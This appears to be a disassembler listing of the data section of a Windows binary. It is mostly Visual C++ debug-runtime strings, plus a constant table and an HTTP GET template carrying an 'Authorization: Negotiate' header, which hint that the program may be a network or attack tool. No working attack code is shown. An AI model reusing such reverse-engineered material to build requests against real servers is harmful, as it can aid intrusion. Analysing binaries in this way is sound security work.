		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_43D41C	dd 2Eh			; DATA XREF: sub_401CC7+3483o
					; sub_401CC7+356Fo ...
dword_43D420	dd 2Eh			; DATA XREF: sub_401CC7+38ABo
					; sub_401CC7+38E5o ...
; char aGetHttp1_0Host[]
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40DA86+68o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_43D460	dq 1.388888888888889e-2	; DATA XREF: sub_40D8C3+2Fr
dbl_43D468	dq 1.666666666666667e-1	; DATA XREF: sub_40D8C3+15r
dbl_43D470	dq 1.333333333333333	; DATA XREF: sub_40D90F+70r
dword_43D478	dd 0FFFFFFFFh		; DATA XREF: sub_40DD23+13r
					; sub_40DDA0r ...
dword_43D47C	dd 0			; DATA XREF: sub_40E087o
flt_43D480	dd 5.0e-1		; DATA XREF: sub_40E3FF+39Br
		align 8
dbl_43D488	dq 9.765625e-4		; DATA XREF: sub_416F9A+2BDr
					; sub_416F9A+2D8r ...
dbl_43D490	dq -1.52587890625e-4	; DATA XREF: sub_418688+3E5r
dbl_43D498	dq 3.0517578125e-4	; DATA XREF: sub_418688+3C5r
dbl_43D4A0	dq -3.0517578125e-4	; DATA XREF: sub_418688+342r
					; sub_418688+3A7r
dbl_43D4A8	dq 1.52587890625e-4	; DATA XREF: sub_418688+271r
dbl_43D4B0	dq -1.739501953125e-3	; DATA XREF: sub_418688+24Br
					; sub_418688+2D5r ...
dbl_43D4B8	dq 3.11279296875e-3	; DATA XREF: sub_418688+E1r
dbl_43D4C0	dq 3.0517578125e-5	; DATA XREF: sub_418688+AEr
					; sub_418688+138r ...
dbl_43D4C8	dq 6.103515625e-5	; DATA XREF: sub_418688+93r
					; sub_418688+308r
dbl_43D4D0	dq 2.288818359375e-3	; DATA XREF: sub_418688+21r
dbl_43D4D8	dq -3.0517578125e-5	; DATA XREF: sub_419589+2Br
flt_43D4E0	dd 9.765625e-4		; DATA XREF: sub_41B3ED+1B0r
flt_43D4E4	dd 8.0			; DATA XREF: sub_41B3ED+1AAr
flt_43D4E8	dd 0.0			; DATA XREF: sub_41B3ED+171r
flt_43D4EC	dd 1.0e-3		; DATA XREF: sub_41B3ED+168r
aFclose_c	db 'fclose.c',0         ; DATA XREF: _fclose+1Do
					; __fclose_lk+25o
		align 4
; char aStreamNull[]
aStreamNull	db 'stream != NULL',0   ; DATA XREF: _fclose+14o _fseek+Do ...
		align 4
; char aStrNull[]
aStrNull	db 'str != NULL',0      ; DATA XREF: __fclose_lk+1Co
					; sub_41FDD0+45o ...
aClient		db 'Client',0           ; DATA XREF: .data:00452A20o
		align 10h
aIgnore		db 'Ignore',0           ; DATA XREF: .data:00452A1Co
		align 4
aCrt		db 'CRT',0              ; DATA XREF: .data:00452A18o
aNormal_0	db 'Normal',0           ; DATA XREF: .data:00452A14o
		align 4
aFree		db 'Free',0             ; DATA XREF: .data:off_452A10o
		align 10h
dword_43D540	dd 0FFFFFFFFh, 0	; DATA XREF: __nh_malloc_dbg+5o
		dd offset sub_41CD3D
aErrorMemoryAll	db 'Error: memory allocation: bad memory block type.',0Ah,0
					; DATA XREF: __heap_alloc_dbg:loc_41CF0Ao
					; _realloc_help:loc_41D390o
		align 10h
; char aInvalidAllocat[]
aInvalidAllocat	db 'Invalid allocation size: %u bytes.',0Ah,0
					; DATA XREF: __heap_alloc_dbg+11Bo
; char aS_33[]
aS_33		db '%s',0               ; DATA XREF: __heap_alloc_dbg+BCo
					; __heap_alloc_dbg+16Fo ...
		align 4
aClientHookAl_0	db 'Client hook allocation failure.',0Ah,0
					; DATA XREF: __heap_alloc_dbg:loc_41CE57o
		align 4
; char aClientHookAllo[]
aClientHookAllo	db 'Client hook allocation failure at file %hs line %d.',0Ah,0
					; DATA XREF: __heap_alloc_dbg+94o
		align 4
aDbgheap_c	db 'dbgheap.c',0        ; DATA XREF: __heap_alloc_dbg+31o
					; _realloc_help+77o ...
		align 10h
; char a_crtcheckmemor[]
a_crtcheckmemor	db '_CrtCheckMemory()',0 ; DATA XREF: __heap_alloc_dbg+25o
					; _realloc_help+6Bo ...
		align 8
dword_43D628	dd 0FFFFFFFFh, 0	; DATA XREF: __realloc_dbg+5o
		dd offset sub_41D1E3
; char a_pfirstblockPo[]
a_pfirstblockPo	db '_pFirstBlock == pOldBlock',0 ; DATA XREF: _realloc_help+499o
		align 10h
; char a_plastblockPol[]
a_plastblockPol	db '_pLastBlock == pOldBlock',0 ; DATA XREF: _realloc_help+445o
		align 4
; char aFreallocFreall[]
aFreallocFreall	db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0
					; DATA XREF: _realloc_help:loc_41D5F6o
		align 10h
; char a_block_typePol[]
a_block_typePol	db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0
					; DATA XREF: _realloc_help+277o
		align 4
; char aPoldblockNline[]
aPoldblockNline	db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_'
					; DATA XREF: _realloc_help:loc_41D421o
		db 'REQ',0
		align 4
; char a_crtisvalidhea[]
a_crtisvalidhea	db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: _realloc_help+1B6o
					; sub_41D8A0+A8o ...
		align 4
; char aAllocationTooL[]
aAllocationTooL	db 'Allocation too large or negative: %u bytes.',0Ah,0
					; DATA XREF: _realloc_help+136o
		align 4
aClientHookRe_0	db 'Client hook re-allocation failure.',0Ah,0
					; DATA XREF: _realloc_help:loc_41D30Fo
; char aClientHookReAl[]
aClientHookReAl	db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0
					; DATA XREF: _realloc_help+DCo
		align 8
dword_43D7D8	dd 0FFFFFFFFh, 0	; DATA XREF: __expand_dbg+5o
		dd offset sub_41D7C3
		align 8
dword_43D7E8	dd 0FFFFFFFFh, 0	; DATA XREF: __free_dbg+5o
		dd offset sub_41D882
; char a_pfirstblockPh[]
a_pfirstblockPh	db '_pFirstBlock == pHead',0 ; DATA XREF: sub_41D8A0+35Do
		align 4
; char a_plastblockPhe[]
a_plastblockPhe	db '_pLastBlock == pHead',0 ; DATA XREF: sub_41D8A0+307o
		align 4
; char aPheadNblockuse[]
aPheadNblockuse	db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_41D8A0+29Co
					; sub_41DCB0+133o
		align 4
; char aPheadNlineIgno[]
aPheadNlineIgno	db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0
					; DATA XREF: sub_41D8A0:loc_41DAC4o
		align 4
; char aDamageAfterHsB[]
aDamageAfterHsB	db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0
					; DATA XREF: sub_41D8A0+1E5o
					; sub_41DFF0+265o
		align 10h
; char aDamageBeforeHs[]
aDamageBeforeHs	db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0
					; DATA XREF: sub_41D8A0+17Fo
					; sub_41DFF0+208o
		align 4
; char a_block_type_is[]
a_block_type_is	db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_41D8A0+10Ao
					; sub_41DCB0+E2o ...
		align 4
aClientHookFree	db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_41D8A0:loc_41D90Do
		align 10h
dword_43D920	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41DCB0+5o
		dd offset sub_41DE21
		align 10h
dword_43D930	dd 0FFFFFFFFh, 0	; DATA XREF: __CrtSetDbgBlockType+5o
		dd offset sub_41DF1D
; char aMemoryCheckErr[]
aMemoryCheckErr	db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0
					; DATA XREF: _CheckBytes+54o
		align 4
; char aHsLocatedAt0x0[]
aHsLocatedAt0x0	db '%hs located at 0x%08X is %u bytes long.',0Ah,0
					; DATA XREF: sub_41DFF0+33Ao
		align 4
; char aHsAllocatedAtF[]
aHsAllocatedAtF	db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_41DFF0+307o
; char aDamageOnTopOfF[]
aDamageOnTopOfF	db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0
					; DATA XREF: sub_41DFF0+2BEo
		align 10h
aDamaged	db 'DAMAGED',0          ; DATA XREF: sub_41DFF0:loc_41E1C4o
a_heapchkFail_3	db '_heapchk fails with unknown return value!',0Ah,0
					; DATA XREF: sub_41DFF0:loc_41E11Co
		align 4
a_heapchkFail_2	db '_heapchk fails with _HEAPBADPTR.',0Ah,0
					; DATA XREF: sub_41DFF0:loc_41E0F4o
		align 4
a_heapchkFail_1	db '_heapchk fails with _HEAPBADEND.',0Ah,0
					; DATA XREF: sub_41DFF0:loc_41E0CCo
		align 4
a_heapchkFail_0	db '_heapchk fails with _HEAPBADNODE.',0Ah,0
					; DATA XREF: sub_41DFF0:loc_41E0A4o
		align 10h
a_heapchkFailsW	db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0
					; DATA XREF: sub_41DFF0:loc_41E079o
		align 8
dword_43DAB8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41DFF0+5o
		dd offset sub_41E365
		align 8
dword_43DAC8	dd 0FFFFFFFFh, 0	; DATA XREF: __CrtDoForAllClientObjects+5o
		dd offset sub_41E45D
		align 8
dword_43DAD8	dd 0FFFFFFFFh, 0	; DATA XREF: __CrtIsMemoryBlock+5o
		dd offset sub_41E706
; char aBadMemoryBlock[]
aBadMemoryBlock	db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_41E750+13Co
		align 4
a_crtmemcheckpo	db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0
					; DATA XREF: sub_41E750:loc_41E779o
dword_43DB30	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41E750+5o
		dd offset sub_41E8D8
a_crtmemdiffere	db '_CrtMemDifference: NULL state pointer.',0Ah,0
					; DATA XREF: __CrtMemDifference:loc_41E922o
aObjectDumpComp	db 'Object dump complete.',0Ah,0
					; DATA XREF: __CrtMemDumpAllObjectsSince:loc_41ECECo
		align 4
; char aCrtBlockAt0x08[]
aCrtBlockAt0x08	db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
					; DATA XREF: __CrtMemDumpAllObjectsSince+271o
		align 10h
; char aNormalBlockAt0[]
aNormalBlockAt0	db 'normal block at 0x%08X, %u bytes long.',0Ah,0
					; DATA XREF: __CrtMemDumpAllObjectsSince+214o
; char aClientBlockAt0[]
aClientBlockAt0	db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
					; DATA XREF: __CrtMemDumpAllObjectsSince+1A9o
; char aLd[]
aLd		db '{%ld} ',0           ; DATA XREF: __CrtMemDumpAllObjectsSince+15Ao
		align 4
; char aHsD[]
aHsD		db '%hs(%d) : ',0       ; DATA XREF: __CrtMemDumpAllObjectsSince+132o
		align 10h
; char aFileErrorD[]
aFileErrorD	db '#File Error#(%d) : ',0 ; DATA XREF: __CrtMemDumpAllObjectsSince+101o
aDumpingObjects	db 'Dumping objects ->',0Ah,0
					; DATA XREF: __CrtMemDumpAllObjectsSince:loc_41EA6Bo
dword_43DC48	dd 0FFFFFFFFh, 0	; DATA XREF: __CrtMemDumpAllObjectsSince+5o
		dd offset sub_41ECE1
; char aDataSS[]
aDataSS		db ' Data: <%s> %s',0Ah,0 ; DATA XREF: __printMemBlockData+ECo
; char a_2x[]
a_2x		db '%.2X ',0            ; DATA XREF: __printMemBlockData+BFo
		align 4
aDetectedMemory	db 'Detected memory leaks!',0Ah,0
					; DATA XREF: __CrtDumpMemoryLeaks:loc_41EE84o
; char aTotalAllocatio[]
aTotalAllocatio	db 'Total allocations: %ld bytes.',0Ah,0
					; DATA XREF: __CrtMemDumpStatistics+9Do
		align 4
; char aLargestNumberU[]
aLargestNumberU	db 'Largest number used: %ld bytes.',0Ah,0
					; DATA XREF: __CrtMemDumpStatistics+75o
		align 4
; char aLdBytesInLdHsB[]
aLdBytesInLdHsB	db '%ld bytes in %ld %hs Blocks.',0Ah,0
					; DATA XREF: __CrtMemDumpStatistics+4Bo
		align 4
; char aMode_t0[]
aMode_t0	db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: __fsopen+95o
		align 4
; char aModeNull[]
aModeNull	db 'mode != NULL',0     ; DATA XREF: __fsopen+67o
					; __openfile+4Fo
		align 4
; char aFile_t0[]
aFile_t0	db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: __fsopen+3Do
		align 10h
aFopen_c	db 'fopen.c',0          ; DATA XREF: __fsopen+18o __fsopen+46o ...
; char aFileNull[]
aFileNull	db 'file != NULL',0     ; DATA XREF: __fsopen+Fo
		align 4
; char aFormatNull[]
aFormatNull	db 'format != NULL',0   ; DATA XREF: _sprintf+45o
					; __snprintf+45o ...
		align 4
aSprintf_c	db 'sprintf.c',0        ; DATA XREF: _sprintf+24o _sprintf+4Eo ...
		align 4
; char aStringNull[]
aStringNull	db 'string != NULL',0   ; DATA XREF: _sprintf+1Bo
					; __snprintf+1Bo ...
		align 4
aFgets_c	db 'fgets.c',0          ; DATA XREF: sub_41FDD0+24o
					; sub_41FDD0+4Eo
aFprintf_c	db 'fprintf.c',0        ; DATA XREF: _fprintf+1Eo _fprintf+48o
		align 4
aVsprintf_c	db 'vsprintf.c',0       ; DATA XREF: __vsnprintf+1Eo
					; __vsnprintf+48o
		align 4
aSscanf_c	db 'sscanf.c',0         ; DATA XREF: _sscanf+24o _sscanf+4Eo
		align 10h
dbl_43DD90	dq 1.0			; DATA XREF: _floor+99r _ceil+99r ...
aDbgdel_cpp	db 'dbgdel.cpp',0       ; DATA XREF: operator delete(void *)+62o
		align 4
aOnexit_c	db 'onexit.c',0         ; DATA XREF: __onexit+2Eo
					; ___onexitinit+8o
		align 10h
aFseek_c	db 'fseek.c',0          ; DATA XREF: _fseek+16o __fseek_lk+19o
aStrupr_c	db 'strupr.c',0         ; DATA XREF: __strupr+133o
		align 4
aMbstowcs_c	db 'mbstowcs.c',0       ; DATA XREF: __mbstowcs_lk+32o
		align 10h
; char aSNull[]
aSNull		db 's != NULL',0        ; DATA XREF: __mbstowcs_lk+29o
		align 10h
dword_43DDE0	dd 0FFFFFFFFh		; DATA XREF: start+5o
		dd offset sub_423052
		dd offset sub_42306D
a_file_c	db '_file.c',0          ; DATA XREF: ___initstdio+31o
					; ___initstdio+65o
aAssertionFai_1	db 'Assertion Failed',0 ; DATA XREF: .data:00452D0Co
		align 4
aError		db 'Error',0            ; DATA XREF: .data:00452D08o
		align 10h
aWarning	db 'Warning',0          ; DATA XREF: .data:off_452D04o
; char aSDS_0[]
aSDS_0		db '%s(%d) : %s',0      ; DATA XREF: __CrtDbgReport+1FFo
; char asc_43DE24[]
asc_43DE24:				; DATA XREF: __CrtDbgReport:loc_423606o
		dw 0Ah
		unicode	0, <>,0
; char asc_43DE28[]
asc_43DE28:				; DATA XREF: __CrtDbgReport+1C2o
		dw 0Dh
		unicode	0, <>,0
aAssertionFai_0	db 'Assertion failed!',0 ; DATA XREF: __CrtDbgReport:loc_4235A5o
		align 10h
aAssertionFaile	db 'Assertion failed: ',0 ; DATA XREF: __CrtDbgReport+169o
		align 4
; char a_crtdbgreportS[]
a_crtdbgreportS	db '_CrtDbgReport: String too long or IO Error',0
					; DATA XREF: __CrtDbgReport+149o
					; __CrtDbgReport+21Co ...
		align 10h
aSecondChanceAs	db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0
					; DATA XREF: __CrtDbgReport+E6o
		align 4
aWsprintfa	db 'wsprintfA',0        ; DATA XREF: __CrtDbgReport+B6o
		align 10h
aUser32_dll_0	db 'user32.dll',0       ; DATA XREF: __CrtDbgReport+9Co
					; ___crtMessageBoxA+16o
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Debug Library',0
					; DATA XREF: _CrtMessageWindow+2C2o
		align 10h
; char aDebugSProgramS[]
aDebugSProgramS	db 'Debug %s!',0Ah      ; DATA XREF: _CrtMessageWindow+28Co
		db 0Ah
		db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah
		db 0Ah
		db '(Press Retry to debug the application)',0
		align 4
aModule		db 0Ah			; DATA XREF: _CrtMessageWindow+221o
		db 'Module: ',0
		align 10h
aFile_1		db 0Ah			; DATA XREF: _CrtMessageWindow+1E1o
		db 'File: ',0
aLine		db 0Ah			; DATA XREF: _CrtMessageWindow+1AAo
		db 'Line: ',0
; char asc_43DF60[]
asc_43DF60	db 0Ah			; DATA XREF: _CrtMessageWindow+173o
					; __NMSG_WRITE+171o
		db 0Ah,0
		align 4
aExpression	db 'Expression: ',0     ; DATA XREF: _CrtMessageWindow+153o
		align 4
dword_43DF74	dd 0			; DATA XREF: _CrtMessageWindow:loc_4238DAo
					; _CrtMessageWindow:loc_4238F9o ...
aForInformation	db 0Ah			; DATA XREF: _CrtMessageWindow+10Eo
		db 0Ah
		db 'For information on how your program can cause an assertion',0Ah
		db 'failure, see the Visual C++ documentation on asserts.',0
		align 4
; char a___[]
a___		db '...',0              ; DATA XREF: _CrtMessageWindow+9Co
					; _CrtMessageWindow+F4o ...
; char aProgramNameUnk[]
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: _CrtMessageWindow+56o
					; __NMSG_WRITE+EDo
		align 4
aDbgrpt_c	db 'dbgrpt.c',0         ; DATA XREF: _CrtMessageWindow+1Fo
		align 4
; char aSzusermessageN[]
aSzusermessageN	db 'szUserMessage != NULL',0 ; DATA XREF: _CrtMessageWindow+13o
		align 4
a_freebuf_c	db '_freebuf.c',0       ; DATA XREF: __freebuf+15o
		align 4
aMlock_c	db 'mlock.c',0          ; DATA XREF: __lock+16o
dword_43E040	dd 0FFFFFFFFh, 0	; DATA XREF: __heap_alloc_base+5o
		dd offset sub_424345
		dd 0FFFFFFFFh, 0
		dd offset sub_4243C7
dword_43E058	dd 0FFFFFFFFh, 0	; DATA XREF: sub_424440+5o
		dd offset sub_4244E1
		dd 0FFFFFFFFh, 0
		dd offset sub_4245DA
dword_43E070	dd 0FFFFFFFFh, 0	; DATA XREF: sub_424650+5o
		dd offset sub_424818
		dd 0FFFFFFFFh, 0
		dd offset sub_424A2F
dword_43E088	dd 0FFFFFFFFh, 0	; DATA XREF: sub_424AF0+5o
		dd offset sub_424B6B
		dd 0FFFFFFFFh, 0
		dd offset sub_424BED
dword_43E0A0	dd 0FFFFFFFFh, 0	; DATA XREF: unknown_libname_6+5o
		dd offset sub_424CA2
		dd 0FFFFFFFFh, 0
		dd offset sub_424CE7
; char Str1[]
Str1		db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_427AB0+B9o
		align 10h
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_427AB0+5Ao
		align 4
a_filbuf_c	db '_filbuf.c',0        ; DATA XREF: __filbuf+18o
		align 4
a_open_c	db '_open.c',0          ; DATA XREF: __openfile+2Eo
					; __openfile+58o ...
; char aFilenameNull[]
aFilenameNull	db 'filename != NULL',0 ; DATA XREF: __openfile+25o
		align 10h
aStream_c	db 'stream.c',0         ; DATA XREF: __getstream+C1o
		align 4
; char aInconsistentIo[]
aInconsistentIo	db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0
					; DATA XREF: __flsbuf+162o
		align 4
a_flsbuf_c	db '_flsbuf.c',0        ; DATA XREF: __flsbuf+18o
					; __flsbuf+16Eo
		align 4
byte_43E168	db 6			; DATA XREF: sub_428D80+96r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		db 8,'`h````',0
		dd 78707000h, 8787878h,	807h, 8080007h,	8000008h, 7000800h
		dd 8
aNull_0:				; DATA XREF: .data:off_455020o
		unicode	0, <(null)>,0
		align 4
aNull		db '(null)',0           ; DATA XREF: .data:off_45501Co
		align 4
aOutput_c	db 'output.c',0         ; DATA XREF: sub_428D80+129o
					; sub_428D80+6A2o
		align 4
; char aCh_t0[]
aCh_t0		db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_428D80+11Do
		align 4
aTidtable_c	db 'tidtable.c',0       ; DATA XREF: __mtinit+23o __getptd+29o
		align 4
a_sftbuf_c	db '_sftbuf.c',0        ; DATA XREF: __stbuf+18o __stbuf+B2o ...
		align 10h
; char aFlag0Flag1[]
aFlag0Flag1	db 'flag == 0 || flag == 1',0 ; DATA XREF: __ftbuf+13o
		align 4
aInput_c	db 'input.c',0          ; DATA XREF: unknown_libname_7+1Eo
					; unknown_libname_7+4Bo
a_yn		db '_yn',0              ; DATA XREF: .data:0045536Co
a_y1		db '_y1',0              ; DATA XREF: .data:00455364o
a_y0		db '_y0',0              ; DATA XREF: .data:0045535Co
aFrexp		db 'frexp',0            ; DATA XREF: .data:00455354o
		align 4
aFmod		db 'fmod',0             ; DATA XREF: .data:0045534Co
		align 4
a_hypot		db '_hypot',0           ; DATA XREF: .data:off_455344o
		align 4
a_cabs		db '_cabs',0            ; DATA XREF: .data:0045533Co
		align 4
aLdexp		db 'ldexp',0            ; DATA XREF: .data:00455334o
		align 4
aModf		db 'modf',0             ; DATA XREF: .data:0045532Co
		align 4
aFabs		db 'fabs',0             ; DATA XREF: .data:00455324o
		align 4
aFloor		db 'floor',0            ; DATA XREF: .data:0045531Co
		align 4
aCeil		db 'ceil',0             ; DATA XREF: .data:00455314o
		align 4
aTan		db 'tan',0              ; DATA XREF: .data:0045530Co
aCos		db 'cos',0              ; DATA XREF: .data:00455304o
aSin		db 'sin',0              ; DATA XREF: .data:004552FCo
aSqrt		db 'sqrt',0             ; DATA XREF: .data:004552F4o
		align 4
aAtan2		db 'atan2',0            ; DATA XREF: .data:004552ECo
		align 10h
aAtan		db 'atan',0             ; DATA XREF: .data:004552E4o
		align 4
aAcos		db 'acos',0             ; DATA XREF: .data:004552DCo
		align 10h
aAsin		db 'asin',0             ; DATA XREF: .data:004552D4o
		align 4
aTanh		db 'tanh',0             ; DATA XREF: .data:004552CCo
		align 10h
aCosh		db 'cosh',0             ; DATA XREF: .data:004552C4o
		align 4
aSinh		db 'sinh',0             ; DATA XREF: .data:004552BCo
		align 10h
aLog10		db 'log10',0            ; DATA XREF: .data:004552B4o
		align 4
aLog_0		db 'log',0              ; DATA XREF: .data:004552ACo
aPow		db 'pow',0              ; DATA XREF: .data:004552A4o
aExp		db 'exp',0              ; DATA XREF: .data:off_45529Co
		align 8
dbl_43E2E8	dq 0.0			; DATA XREF: __handle_exc+D7r
					; __handle_exc+11Ar ...
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+1Ao
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: __ms_p5_mp_test_fdiv+6o
		align 4
; char aE000[]
aE000		db 'e+000',0            ; DATA XREF: __cftoe2:loc_42D638o
		align 10h
dword_43E320	dd 0FFFFFFFFh		; DATA XREF: ___FrameUnwindToState+5o
		dd offset loc_42E069
		dd offset loc_42E076
		align 10h
dword_43E330	dd 0FFFFFFFFh, 0	; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+5o
		dd offset sub_42E29D
		align 10h
		dd offset loc_42E25E
		dd offset loc_42E26B
dword_43E348	dd 0FFFFFFFFh		; DATA XREF: BuildCatchObject(EHExceptionRecord	*,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+5o
		dd offset loc_42E5BC
		dd offset loc_42E5C2
		align 8
dword_43E358	dd 0FFFFFFFFh		; DATA XREF: _DestructExceptionObject(EHExceptionRecord	*,uchar)+5o
		dd offset loc_42E63E
		dd offset loc_42E64D
		align 8
dword_43E368	dd 0FFFFFFFFh, 0	; DATA XREF: terminate(void)+5o
		dd offset j__abort
		align 8
		dd offset loc_42E760
		dd offset loc_42E766
dword_43E380	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42E7C0+5o
		dd offset j_?terminate@@YAXXZ ;	terminate(void)
		align 10h
		dd offset loc_42E80C
		dd offset loc_42E812
aLc_time	db 'LC_TIME',0          ; DATA XREF: .data:0045551Co
aLc_numeric	db 'LC_NUMERIC',0       ; DATA XREF: .data:00455510o
		align 4
aLc_monetary	db 'LC_MONETARY',0      ; DATA XREF: .data:00455504o
aLc_ctype	db 'LC_CTYPE',0         ; DATA XREF: .data:004554F8o
		align 4
aLc_collate	db 'LC_COLLATE',0       ; DATA XREF: .data:004554ECo
		align 10h
aLc_all		db 'LC_ALL',0           ; DATA XREF: .data:off_4554E0o
		align 4
; char asc_43E3D8[]
asc_43E3D8	db ';',0                ; DATA XREF: _setlocale:loc_42EAF3o
					; __setlocale_get_all+83o
		align 4
asc_43E3DC	db '=;',0               ; DATA XREF: _setlocale:loc_42EA21o
		align 10h
aSetlocal_c	db 'setlocal.c',0       ; DATA XREF: __setlocale_set_cat+3Eo
					; __setlocale_get_all+1Bo
		align 4
asc_43E3EC:				; DATA XREF: __setlocale_get_all+5Bo
		unicode	0, <=>,0
; char Control[]
Control		db '_.,',0              ; DATA XREF: ___lc_strtolc:loc_42F232o
; char a__4[]
a__4:					; DATA XREF: ___lc_lctostr+50o
					; ___init_numeric:loc_43539Bo
		unicode	0, <.>,0
a__5:					; DATA XREF: ___lc_lctostr+25o
		unicode	0, <_>,0
aFtell_c	db 'ftell.c',0          ; DATA XREF: _ftell+16o __ftell_lk+18o
dword_43E404	dd 0			; DATA XREF: ___crtLCMapStringA+5Do
					; ___crtGetStringTypeA+58o ...
dword_43E408	dd 2 dup(0)		; DATA XREF: ___crtLCMapStringA+35o
					; ___crtGetStringTypeA+35o ...
dword_43E410	dd 0FFFFFFFFh		; DATA XREF: ___crtLCMapStringA+5o
		dd offset loc_42FC46
		dd offset loc_42FC4C
		dd 0FFFFFFFFh
		dd offset loc_42FD3C
		dd offset loc_42FD42
aStdenvp_c	db 'stdenvp.c',0        ; DATA XREF: __setenvp+5Bo
					; __setenvp+D0o
		align 4
aStdargv_c	db 'stdargv.c',0        ; DATA XREF: __setargv+72o
		align 10h
aA_env_c	db 'a_env.c',0          ; DATA XREF: ___crtGetEnvironmentStringsA+E8o
					; ___crtGetEnvironmentStringsA+1C6o
aIoinit_c	db 'ioinit.c',0         ; DATA XREF: __ioinit+Bo __ioinit+106o
		align 4
aRuntimeError	db 'runtime error ',0   ; DATA XREF: .data:00455664o
		align 4
asc_43E464	db 0Dh,0Ah,0		; DATA XREF: .data:0045565Co
		align 4
aTlossError	db 'TLOSS error',0Dh,0Ah,0 ; DATA XREF: .data:00455654o
		align 4
aSingError	db 'SING error',0Dh,0Ah,0 ; DATA XREF: .data:0045564Co
		align 4
aDomainError	db 'DOMAIN error',0Dh,0Ah,0 ; DATA XREF: .data:00455644o
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah      ; DATA XREF: .data:0045563Co
		db '- unable to initialize heap',0Dh,0Ah,0
		align 10h
aR6027NotEnough	db 'R6027',0Dh,0Ah      ; DATA XREF: .data:00455634o
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah      ; DATA XREF: .data:0045562Co
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah      ; DATA XREF: .data:00455624o
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah      ; DATA XREF: .data:0045561Co
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah      ; DATA XREF: .data:00455614o
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah      ; DATA XREF: .data:0045560Co
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah      ; DATA XREF: .data:00455604o
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah      ; DATA XREF: .data:004555FCo
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah		; DATA XREF: .data:004555F4o
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
